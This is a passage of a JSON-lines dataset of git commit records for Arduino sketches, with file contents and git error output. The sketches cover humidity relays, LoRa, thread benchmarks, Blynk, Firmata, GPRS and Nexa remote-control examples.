{\nKeyboard.press(key);\ndelay(100);\nKeyboard.release(key);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/codes\/cmd_command_execution\/exploit_01.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"40ecd5e102c2159a028c0edb4b0bbda9ddab3e6a","subject":"First version of the sketch","message":"First version of the sketch\n","repos":"mjholtkamp\/shofanduino,mjholtkamp\/shofanduino,mjholtkamp\/shofanduino","old_file":"sketch_relais_humidity\/sketch_relais_humidity.ino","new_file":"sketch_relais_humidity\/sketch_relais_humidity.ino","new_contents":"#include <Time.h>\n\nconst int relaisPin = 11;\nconst int sensorPin = A0; \/\/ select the input pin for the potentiometer\nconst int MAXVALUE = 1023;\nint sensorValue = 0; \/\/ variable to store the value coming from the sensor\nint thresholdLow = 0;\nint thresholdHigh = 0;\nint dayMax = 0;\nint dayMin = 0;\nint firstRun = 1;\nint prevday = 0;\nint diff;\nint avg;\nint curday;\n\nvoid setup() {\n \/\/ initialize the 11 pin as an output:\n Serial.begin(9600);\n pinMode(relaisPin, OUTPUT);\n pinMode(sensorPin, INPUT);\n digitalWrite(relaisPin, HIGH);\n}\n\nvoid loop(){\n sensorValue = analogRead(sensorPin);\n sensorValue = MAXVALUE - sensorValue;\n curday = day();\n if (firstRun == 1) {\n \/\/ first run, initialize threshold to sane values\n firstRun = 0;\n prevday = curday;\n thresholdLow = constrain(sensorValue - 10, 0, MAXVALUE);\n thresholdHigh = constrain(sensorValue + 10, 0, MAXVALUE);\n dayMin = thresholdLow;\n dayMax = thresholdHigh;\n }\n dayMin = constrain(sensorValue, 0, dayMin);\n dayMax = constrain(sensorValue, dayMax, MAXVALUE);\n if (prevday != curday) {\n prevday = curday;\n diff = dayMax - dayMin;\n avg = dayMin + diff \/ 2;\n thresholdLow = avg - diff \/ 4;\n thresholdHigh = avg + diff \/ 4;\n dayMin = sensorValue;\n dayMax = sensorValue;\n }\n\n Serial.print(\"humidity = \");\n Serial.print(sensorValue);\n Serial.print(\", tlow = \");\n Serial.print(thresholdLow);\n Serial.print(\", thi = \");\n Serial.print(thresholdHigh);\n Serial.print(\", dmin = \");\n Serial.print(dayMin);\n Serial.print(\", dmax = \");\n Serial.println(dayMax);\n\n if (sensorValue < thresholdLow) {\n \/\/ HIGH means setting the relay to NC\n digitalWrite(relaisPin, HIGH);\n } else if (sensorValue > thresholdHigh) {\n \/\/ LOW means setting the relay to NO\n digitalWrite(relaisPin, LOW); \n }\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_relais_humidity\/sketch_relais_humidity.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"539f696151aebe757fc9ff97baec3c957a55b584","subject":"fix coordinates","message":"fix coordinates\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f08be88fc25d4a80d61d76f749bfb36aa241b6bb","subject":"Adding helloworld example for the LoRa module","message":"Adding helloworld example for the LoRa module\n","repos":"rac2030\/MakeZurich,rac2030\/MakeZurich,rac2030\/MakeZurich,rac2030\/MakeZurich","old_file":"rn2483-helloworld\/rn2483-helloworld.ino","new_file":"rn2483-helloworld\/rn2483-helloworld.ino","new_contents":"#include <rn2xx3.h>\n#include <SoftwareSerial.h>\n\nSoftwareSerial mySerial(7, 8); \/\/ RX, TX\n#define RST 2\n\n\/\/ Copy the following lines from TTN Console -> Devices -> Overview tab -> \"EXAMPLE CODE\"\n\/\/ You need to create an application first, then add a device \n\/\/ (run this code once and it prints the EUID which you can enter)\nconst char *devAddr = \"xxxxxxxxxxxxx\";\nconst char *nwkSKey = \"xxxxxxxxxxxxx\";\nconst char *appSKey = \"xxxxxxxxxxxxx\";\n\nrn2xx3 myLora(mySerial);\n\n\/\/ Setup routine runs once when you press reset\nvoid setup() {\n pinMode(13, OUTPUT);\n led_on();\n\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n mySerial.begin(9600);\n Serial.println(\"Startup\");\n\n \/\/ Reset rn2483\n pinMode(RST, OUTPUT);\n digitalWrite(RST, HIGH);\n digitalWrite(RST, LOW);\n delay(500);\n digitalWrite(RST, HIGH);\n\n \/\/ Initialise the rn2483 module\n myLora.autobaud();\n\n Serial.println(\"When using OTAA, register this DevEUI: \");\n Serial.println(myLora.hweui());\n Serial.print(\"RN2483 version number: \");\n Serial.println(myLora.sysver());\n\n myLora.initABP(devAddr, appSKey, nwkSKey);\n\n led_off();\n delay(2000);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n led_on();\n Serial.println(\"TXing\");\n\n myLora.txUncnf(\"X\");\n\n led_off();\n\n delay(20000);\n}\n\nvoid led_on()\n{\n digitalWrite(13, 1);\n}\n\nvoid led_off()\n{\n digitalWrite(13, 0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rn2483-helloworld\/rn2483-helloworld.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4427b81d4c6d50fd575cfdf9025eb915075eb29b","subject":"New Nucleo benchmarks.","message":"New Nucleo benchmarks.\n","repos":"kc9jud\/Cosa,dansut\/Cosa,dansut\/Cosa,rrobinet\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa,kc9jud\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa","old_file":"examples\/Nucleo\/CosaNucleoBenchmark\/CosaNucleoBenchmark.ino","new_file":"examples\/Nucleo\/CosaNucleoBenchmark\/CosaNucleoBenchmark.ino","new_contents":"\/**\n * @file CosaNucleoBenchmarks.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2014, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place, Suite 330,\n * Boston, MA 02111-1307 USA\n *\n * @section Description\n * Cosa Nucleo benchmarks; \n * 1) Thread context switches, measured with yield (12 us)\n * 2) Thread context switches, measured with resume(this) (12 us)\n * 3) Semaphore signal-wait (56 us)\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/RTC.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Nucleo\/Thread.hh\"\n#include \"Cosa\/Nucleo\/Semaphore.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n\nNucleo::Semaphore sem(0);\nuint32_t nr = 0;\n\nclass Benchmark : public Nucleo::Thread {\npublic:\n virtual void run();\n};\n\nvoid \nBenchmark::run() \n{ \n uint32_t start;\n uint32_t us;\n\n while (1) {\n \/\/ Benchmark 1: measure yield\n start = RTC::micros();\n for (uint16_t i = 0; i < 500; i++)\n for (uint16_t j = 0; j < 1000; j++)\n\tyield(); \n us = RTC::micros() - start;\n trace << PSTR(\"yield: \") << us \/ 1000000L << PSTR(\" us\") << endl;\n\n \/\/ Benchmark 2: measure resume\n start = RTC::micros();\n for (uint16_t i = 0; i < 1000; i++)\n for (uint16_t j = 0; j < 1000; j++)\n\tresume(this);\n us = RTC::micros() - start;\n trace << PSTR(\"resume: \") << us \/ 1000000L << PSTR(\" us\") << endl;\n \n \/\/ Benchmark 3: measure signal-wait\n start = RTC::micros();\n while (nr != 100000L) sem.signal();\n us = (RTC::micros() - start) \/ nr;\n trace << PSTR(\"signal-wait: \") << us << PSTR(\" us\") << endl;\n nr = 0;\n }\n}\n\nclass Waiting : public Nucleo::Thread {\npublic:\n virtual void run();\n};\n\nvoid\nWaiting::run()\n{\n while (1) {\n sem.wait();\n nr += 1;\n }\n}\n\nBenchmark bench;\nWaiting waiting;\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaNucleoBenchmarks: started\"));\n Watchdog::begin();\n RTC::begin();\n Nucleo::Thread::begin(&waiting, 128);\n Nucleo::Thread::begin(&bench, 128);\n}\n\nvoid loop()\n{\n Nucleo::Thread::begin();\n ASSERT(true == false);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Nucleo\/CosaNucleoBenchmark\/CosaNucleoBenchmark.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"236aff119f7a4ada979a98b7526765b3d8a5695c","subject":"Hardware test sketch","message":"Hardware test sketch\n","repos":"LeifBloomquist\/WiFiCart,LeifBloomquist\/WiFiCart,LeifBloomquist\/WiFiCart,LeifBloomquist\/WiFiCart,LeifBloomquist\/WiFiCart,LeifBloomquist\/WiFiCart","old_file":"MicroView\/Arduino\/WiFiCartHardwareTest\/WiFiCartHardwareTest.ino","new_file":"MicroView\/Arduino\/WiFiCartHardwareTest\/WiFiCartHardwareTest.ino","new_contents":"\/*\n Commodore 64 - MicroVire - Wi-fi Cart\n Hardware Test\n Leif Bloomquist\n*\/\n\n#include <MicroView.h>\n#include <elapsedMillis.h>\n#include <SoftwareSerial.h>\n\n; \/\/ Keep this here to pacify the Arduino pre-processor\n\n#define RxD 6\n#define RTS A5\n#define DTR A4\n#define RI A3\n#define DCD A2\n#define CTS A1\n#define DSR A0\n#define TxD 5\n\n#define C64_BAUD 2400\n#define WIFI_BAUD 2400\n\nSoftwareSerial C64Serial(RxD, TxD);\nHardwareSerial& WifiSerial = Serial;\n\nvoid setup()\n{\n uView.begin();\t\/\/ begin of MicroView \n uView.setFontType(0);\n \n C64Serial.begin(C64_BAUD);\n \n\n}\n \nvoid loop()\n{\n input_tests();\n}\n\n\n \nvoid display(String message)\n{\n clearScreen();\n uView.println(message);\n uView.display();\n}\n\n \n \nvoid clearScreen()\n{\n uView.clear(ALL);\t\/\/ erase hardware memory inside the OLED controller\n uView.clear(PAGE);\t\/\/ erase the memory buffer, when next uView.display() is called, the OLED will be cleared.\n uView.display();\n uView.setCursor(0,0); \n} \n\n\n\/* Diagnostic Tests for the Hardware *\/\n\nvoid input_tests()\n{\n pinMode(RxD, INPUT);\n pinMode(RTS, INPUT);\n pinMode(DTR, INPUT);\n pinMode(RI, INPUT);\n pinMode(DCD, INPUT);\n pinMode(CTS, INPUT);\n pinMode(DSR, INPUT);\n pinMode(TxD, INPUT);\n \n while (1)\n {\n clearScreen();\n \n if (digitalRead(RxD) == HIGH) uView.print(\"RxD \");\n if (digitalRead(RTS) == HIGH) uView.print(\"RTS \");\n if (digitalRead(DTR) == HIGH) uView.print(\"DTR \");\n if (digitalRead(RI ) == HIGH) uView.print(\"RI \");\n if (digitalRead(DCD) == HIGH) uView.print(\"DCD \");\n if (digitalRead(CTS) == HIGH) uView.print(\"CTS \");\n if (digitalRead(DSR) == HIGH) uView.print(\"DSR \");\n if (digitalRead(TxD) == HIGH) uView.print(\"TxD \");\n \n uView.display();\n delay(50);\n } \n}\n\n\n\nvoid output_tests()\n{\n pinMode(RxD, OUTPUT);\n pinMode(RTS, OUTPUT);\n pinMode(DTR, OUTPUT);\n pinMode(RI, OUTPUT);\n pinMode(DCD, OUTPUT);\n pinMode(CTS, OUTPUT);\n pinMode(DSR, OUTPUT);\n pinMode(TxD, OUTPUT);\n \n test_output(\"RxD\", RxD);\n test_output(\"RTS\", RTS);\n test_output(\"DTR\", DTR);\n test_output(\"RI\", RI);\n test_output(\"DCD\", DCD);\n test_output(\"CTS\", CTS);\n test_output(\"DSR\", DSR);\n test_output(\"TxD\", TxD);\n}\n\nvoid test_output(String pinname, int pinnum)\n{\n digitalWrite(pinnum, HIGH);\n display(pinname + \" HIGH\");\n delay(1000);\n \n digitalWrite(pinnum, LOW);\n display(pinname + \" LOW\");\n delay(1000); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MicroView\/Arduino\/WiFiCartHardwareTest\/WiFiCartHardwareTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a7e06141768c304926f5145634b722270e25cc41","subject":"Format example","message":"Format example\n","repos":"al1271\/blynk-library,okhiroyuki\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,flashvnn\/blynk-library,sstocker46\/blynk-library,CedricFinance\/blynk-library,okhiroyuki\/blynk-library,csicar\/blynk-library,CedricFinance\/blynk-library,blynkkk\/blynk-library,radut\/blynk-library,al1271\/blynk-library,sstocker46\/blynk-library,radut\/blynk-library,flashvnn\/blynk-library,johan--\/blynk-library,okhiroyuki\/blynk-library,al1271\/blynk-library,okhiroyuki\/blynk-library,radut\/blynk-library,csicar\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,csicar\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,johan--\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,al1271\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,flashvnn\/blynk-library,johan--\/blynk-library,johan--\/blynk-library,ivankravets\/blynk-library,csicar\/blynk-library,CedricFinance\/blynk-library,flashvnn\/blynk-library,sstocker46\/blynk-library,radut\/blynk-library","old_file":"examples\/More\/ESP8266_DirectConnect\/ESP8266_DirectConnect.ino","new_file":"examples\/More\/ESP8266_DirectConnect\/ESP8266_DirectConnect.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to monitor a button state\n * using polling mechanism.\n *\n * App dashboard setup:\n * LED widget on V1\n *\n **************************************************************\/\n\n#define BLYNK_USE_DIRECT_CONNECT\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleUserDefined.h>\n\n\/\/ Uncomment this to set WiFi to Access Point mode\n\/\/#define WIFI_MODE_AP\n\n\/\/ Set these to your credentials.\nconst char ssid[] = \"Blynk\"; \/\/ WiFi name\nconst char password[] = \"123456\"; \/\/ WiFi password\n\n\/\/ Set port of the server\nconst int port = 8442;\n\n\/\/ Auth token doesn't matter with direct-connect\nchar auth[] = \"\";\n\n\/\/ Description of the dashboard\nchar profile[] = R\"raw({\"dashBoards\":[\n {\"id\":1,\"name\":\"Direct connect\",\"boardType\":\"ESP8266\",\"widgets\":[\n {\"id\":1,\"type\":\"BUTTON\",\"pinType\":\"VIRTUAL\",\"pin\":1,\"value\":\"1\",\"x\":1,\"y\":1,\"pushMode\":false},\n {\"id\":2,\"type\":\"DIGIT4_DISPLAY\",\"pinType\":\"VIRTUAL\",\"pin\":9,\"x\":5,\"y\":1,\"frequency\":1000}\n ]}\n]})raw\";\n\n\/\/ Virtual handlers for our widgets...\n\nBLYNK_WRITE(1) {\n \/\/ do something...\n}\n\nBLYNK_READ(9) {\n Blynk.virtualWrite(9, millis() \/ 1000);\n}\n\n\/\/ Next goes the hard stuff: connection management, etc...\n\nWiFiServer server(port);\nWiFiClient client;\n\n\/\/ This function is used by Blynk to receive data\nsize_t BlynkStreamRead(void* buf, size_t len)\n{\n return client.readBytes((byte*)buf, len);\n}\n\n\/\/ This function is used by Blynk to send data\nsize_t BlynkStreamWrite(const void* buf, size_t len)\n{\n return client.write((byte*)buf, len);\n}\n\nvoid setup()\n{\n delay(1000);\n \/\/ Setup your connection here.\n Serial.begin(9600);\n Serial.println();\n\n#ifdef WIFI_MODE_AP\n BLYNK_LOG(\"Configuring WiFi access point: %s\", ssid);\n WiFi.softAP(ssid, password);\n Serial.print(\"AP IP address: \");\n Serial.println(WiFi.softAPIP());\n#else\n BLYNK_LOG(\"Connecting to WiFi %s\", ssid);\n WiFi.begin(ssid, password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println();\n Serial.print(\"STA IP address: \");\n Serial.println(WiFi.localIP());\n#endif\n\n server.begin();\n BLYNK_LOG(\"Listening on port: %d\", port);\n\n Blynk.begin(auth);\n Blynk.setProfile(profile);\n}\n\nvoid loop()\n{\n client = server.available();\n \/\/ Make sure that Blynk.run() is called\n \/\/ only when the connection is established\n if (client) {\n Serial.print(\"Client connected from \");\n Serial.print(client.remoteIP());\n Serial.print(\":\");\n Serial.println(client.remotePort());\n\n Blynk.startSession();\n while (client.connected()) {\n \/\/ Okay, handle Blynk protocol\n bool hasIncomingData = (client.available() > 0);\n \/\/ Tell Blynk if it has incoming data\n \/\/ (this allows to skip unneeded BlynkStreamRead calls)\n if (!Blynk.run(hasIncomingData)) {\n Serial.print(\"Error happened or disconnected.\");\n break;\n }\n }\n client.stop();\n Serial.print(\"Client disconnected.\");\n }\n}\n","old_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to monitor a button state\n * using polling mechanism.\n *\n * App dashboard setup:\n * LED widget on V1\n *\n **************************************************************\/\n\n#define BLYNK_USE_DIRECT_CONNECT\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleUserDefined.h>\n\n\/\/ Uncomment this to set WiFi to Access Point mode\n\/\/#define WIFI_MODE_AP\n\n\/\/ Set these to your credentials.\nconst char ssid[] = \"Blynk\"; \/\/ WiFi name\nconst char password[] = \"123456\"; \/\/ WiFi password\n\n\/\/ Set port of the server\nconst int port = 8442;\n\n\/\/ Auth token doesn't matter with direct-connect\nchar auth[] = \"\";\n\n\/\/ Description of the dashboard\nchar profile[] = R\"raw({\"dashBoards\":[\n {\"id\":1,\"name\":\"Direct connect\",\"boardType\":\"ESP8266\",\"widgets\":[\n {\"id\":1,\"type\":\"BUTTON\",\"pinType\":\"VIRTUAL\",\"pin\":1,\"value\":\"1\",\"x\":1,\"y\":1,\"pushMode\":false},\n {\"id\":2,\"type\":\"DIGIT4_DISPLAY\",\"pinType\":\"VIRTUAL\",\"pin\":9,\"x\":5,\"y\":1,\"frequency\":1000}\n ]}\n]})raw\";\n\n\/\/ Virtual handlers for our widgets...\n\nBLYNK_WRITE(1) {\n\/\/ do something...\n}\n\nBLYNK_READ(9) {\nBlynk.virtualWrite(9, millis() \/ 1000);\n}\n\n\/\/ Next goes the hard stuff: connection management, etc...\n\nWiFiServer server(port);\nWiFiClient client;\n\n\/\/ This function is used by Blynk to receive data\nsize_t BlynkStreamRead(void* buf, size_t len)\n{\nreturn client.readBytes((byte*)buf, len);\n}\n\n\/\/ This function is used by Blynk to send data\nsize_t BlynkStreamWrite(const void* buf, size_t len)\n{\nreturn client.write((byte*)buf, len);\n}\n\nvoid setup()\n{\ndelay(1000);\n\/\/ Setup your connection here.\nSerial.begin(9600);\nSerial.println();\n\n#ifdef WIFI_MODE_AP\nBLYNK_LOG(\"Configuring WiFi access point: %s\", ssid);\nWiFi.softAP(ssid, password);\nSerial.print(\"AP IP address: \");\nSerial.println(WiFi.softAPIP());\n#else\nBLYNK_LOG(\"Connecting to WiFi %s\", ssid);\nWiFi.begin(ssid, password);\nwhile (WiFi.status() != WL_CONNECTED) {\ndelay(500);\nSerial.print(\".\");\n}\nSerial.println();\nSerial.print(\"STA IP address: \");\nSerial.println(WiFi.localIP());\n#endif\n\nserver.begin();\nBLYNK_LOG(\"Listening on port: %d\", port);\n\nBlynk.begin(auth);\nBlynk.setProfile(profile);\n}\n\nvoid loop()\n{\nclient = server.available();\n\/\/ Make sure that Blynk.run() is called\n\/\/ only when the connection is established\nif (client) {\nSerial.print(\"Client connected from \");\nSerial.print(client.remoteIP());\nSerial.print(\":\");\nSerial.println(client.remotePort());\n\nBlynk.startSession();\nwhile (client.connected()) {\n\/\/ Okay, handle Blynk protocol\nbool hasIncomingData = (client.available() > 0);\n\/\/ Tell Blynk if it has incoming data\n\/\/ (this allows to skip unneeded BlynkStreamRead calls)\nif (!Blynk.run(hasIncomingData)) {\nSerial.print(\"Error happened or disconnected.\");\nbreak;\n}\n}\nclient.stop();\nSerial.print(\"Client disconnected.\");\n}\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"be50476a9a41674000c975cd787f478f0321c048","subject":"New arduino project","message":"New arduino project\n\nA program that automatically resets evry 300 ms. This allows it to be\nprogrammed over bluetooth.\n","repos":"Prosjekt2-09arduino\/ArduinoStore,Prosjekt2-09arduino\/ArduinoStore,Prosjekt2-09arduino\/ArduinoStore","old_file":"Arduino\/iJacketClone_resetMode\/iJacketClone_resetMode.ino","new_file":"Arduino\/iJacketClone_resetMode\/iJacketClone_resetMode.ino","new_contents":"\/\/ #include <EEPROM.h>\n\nvoid setup()\n{\t\n\t\/\/ If programming mode is enabled, restart device\n\tpinMode(4,OUTPUT);\n\t\/\/ if(EEPROM.read(0) == 255)\n\tif(true)\n\t{\n\t\tdelay(300);\n\t\tdigitalWrite(4, LOW);\n\t}\n\telse\n\t{\n\t\tdigitalWrite(4, HIGH);\n\t}\n}\n\nvoid loop()\n{\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/iJacketClone_resetMode\/iJacketClone_resetMode.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"49dadaa4f6007c14175a7c159a9ec3469ff82ec1","subject":"Se carga c\u00f3digo arduino control brillo led","message":"Se carga c\u00f3digo arduino control brillo led\n","repos":"codigoelectronica\/arduino_code,codigoelectronica\/arduino_code,codigoelectronica\/arduino_code","old_file":"arduino-control-brillo-led\/arduino-control-brillo-led.ino","new_file":"arduino-control-brillo-led\/arduino-control-brillo-led.ino","new_contents":"\/**\n * Arduino control brillo led\n * Creado por: Oscar Fernandez <oscarfdzalz@gmail.com>\n * Publicado por: codigoelectronica.com <codigoelectronica@gmail.com>\n * \n * Este c\u00f3digo permite controlar la intensidad de luz de un led \n * con un potenciometro\n *\/\n\nint ledPin = 9;\nint analogPin = 3;\nint val = 0;\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop() {\n val = analogRead(analogPin);\n analogWrite(ledPin, val \/ 4);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-control-brillo-led\/arduino-control-brillo-led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3cc3f7c0bf900c9d23c42b377179b243ccf911dc","subject":"Added 4th LED to strip, fixed colorwipe","message":"Added 4th LED to strip, fixed colorwipe\n","repos":"anyWareSculpture\/physical,anyWareSculpture\/physical,anyWareSculpture\/physical,anyWareSculpture\/physical","old_file":"arduino\/Test sketches\/HandshakeTester\/HandshakeTester.ino","new_file":"arduino\/Test sketches\/HandshakeTester\/HandshakeTester.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Test' did not match any file(s) known to git\nerror: pathspec 'sketches\/HandshakeTester\/HandshakeTester.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"89fdcaa7de3bfed1a0c3d5ddd1bbed97d6f138ab","subject":"added sketches directory to Breakout\/custom_examples and Arduino sketch for json_test.html example","message":"added sketches directory to Breakout\/custom_examples and Arduino sketch for json_test.html example\n","repos":"weberl48\/Breakout,weberl48\/Breakout,soundanalogous\/Breakout,weberl48\/Breakout,soundanalogous\/Breakout","old_file":"custom_examples\/sketches\/FirmataJSONTest\/FirmataJSONTest.ino","new_file":"custom_examples\/sketches\/FirmataJSONTest\/FirmataJSONTest.ino","new_contents":"\/*\n * Firmata is a generic protocol for communicating with microcontrollers\n * from software on a host computer. It is intended to work with\n * any host computer software package.\n *\n * To download a host software package, please clink on the following link\n * to open the download page in your default browser.\n *\n * http:\/\/firmata.org\/wiki\/Download\n *\/\n\n\/* This sketch accepts strings and raw sysex messages and echos them back.\n *\n * This example code is in the public domain.\n *\/\n#include <Firmata.h>\n\nint counter = 0;\n\nvoid systemResetCallback() {\n counter = 0;\n}\n\nvoid sendJsonString() {\n String jsonString = \"{\\\"count\\\":\\\"\";\n jsonString += counter;\n jsonString += \"\\\"}\";\n \n char charBuf[jsonString.length()+1];\n jsonString.toCharArray(charBuf, jsonString.length()+1);\n \n Firmata.sendString(charBuf);\n\n counter++;\n}\n\nvoid setup() {\n Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION);\n Firmata.attach(SYSTEM_RESET, systemResetCallback);\n \n Firmata.begin(57600);\n}\n\nvoid loop() {\n \n sendJsonString();\n \n delay(2000);\n \n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'custom_examples\/sketches\/FirmataJSONTest\/FirmataJSONTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"09921fd086e382e29d97d349cc10cf53d8555f13","subject":"add demo for showing incoming call","message":"add demo for showing incoming call\n","repos":"Seeed-Studio\/GPRS_SIM900,Seeed-Studio\/GPRS_SIM900","old_file":"examples\/GPRS_Show_Incoming_Call\/GPRS_Show_Incoming_Call.ino","new_file":"examples\/GPRS_Show_Incoming_Call\/GPRS_Show_Incoming_Call.ino","new_contents":"\/*\nSIM900 Serial Debug \n\nThis sketch is used to communicate with SIM900 with AT commands.\n\ncreate on 2015\/05\/14, version: 1.0\nby lawliet.zou(lawliet.zou@gmail.com)\n*\/\n#include \"GPRS_Shield_Arduino.h\"\n#include <Wire.h>\n\nconst int PIN_TX = 7;\nconst int PIN_RX = 8;\nconst int BAUDRATE = 9600;\n\nGPRS gprs(PIN_TX,PIN_RX,BAUDRATE);\/\/RX,TX,PWR,BaudRate\nchar in_number[16] = {0};\n\nvoid setup(){\n gprs.checkPowerUp();\n Serial.begin(9600); \n}\n\nvoid loop(){\n\/\/ gprs.AT_Bypass();\n\n \/**\n * Result code: \n * 0: ready\n * 2: unknown\n * 3: ringing\n * 4: call in progress\n *\/\n bool is_active;\n char in_number[16] = {0};\n \n is_active = gprs.isCallActive(in_number); \n \n Serial.print(\"Active code : \");\n Serial.println(is_active);\n if(is_active) { \n Serial.print(\"Phone call in: \");\n Serial.println(in_number);\n } else {\n Serial.println(\"No phone call in.\");\n }\n\n delay(1000); \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/GPRS_Show_Incoming_Call\/GPRS_Show_Incoming_Call.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f57036bc55d15ad2c197f5886fa3a675ebb9a9dd","subject":"Added example code for self learning transmitter","message":"Added example code for self learning transmitter\n","repos":"dcollin\/NexaControl","old_file":"example\/NexaSelfLearningTransmitter\/NexaSelfLearningTransmitter.ino","new_file":"example\/NexaSelfLearningTransmitter\/NexaSelfLearningTransmitter.ino","new_contents":"#include \"NexaSelfLearningTransmitter.h\"\n\n#define TX_PIN 10\n#define TX_LED 13\n#define TRANSMITTER_ID 37\n\nNexaSelfLearningTransmitter transmitter = NexaSelfLearningTransmitter(TX_PIN, TX_LED);\n\nvoid setup(){\n Serial.begin(9600);\n \n Serial.println(\"--------------[device 0 ON]--------------\");\n transmitter.deviceOn(TRANSMITTER_ID, 0);\n delay(5000);\n \n Serial.println(\"--------------[device 1 OFF]--------------\");\n transmitter.deviceOff(TRANSMITTER_ID, 1);\n delay(5000);\n \n Serial.println(\"--------------[device 2 DIM 13]--------------\");\n transmitter.deviceDim(TRANSMITTER_ID, 2, 13);\n delay(5000);\n \n Serial.println(\"--------------[group ON]--------------\");\n transmitter.groupOn(TRANSMITTER_ID);\n delay(5000);\n \n Serial.println(\"--------------[group OFF]--------------\");\n transmitter.groupOff(TRANSMITTER_ID);\n};\n\nvoid loop(){\n \n};","old_contents":"","returncode":1,"stderr":"error: pathspec 'example\/NexaSelfLearningTransmitter\/NexaSelfLearningTransmitter.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"8faa4c71fa08b892115ebe9713016d72dcba6312","subject":"Bugfixes and improvements","message":"Bugfixes and improvements\n","repos":"frofro1964\/Arduino-Auto-Gauge","old_file":"grahams' test code\/experimental_stepper_code\/experimental_stepper_code.ino","new_file":"grahams' test code\/experimental_stepper_code\/experimental_stepper_code.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: Unterminated quoted string\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ce7cb4516063299702c0afbaf3da8780353a0991","subject":"Kapitola: 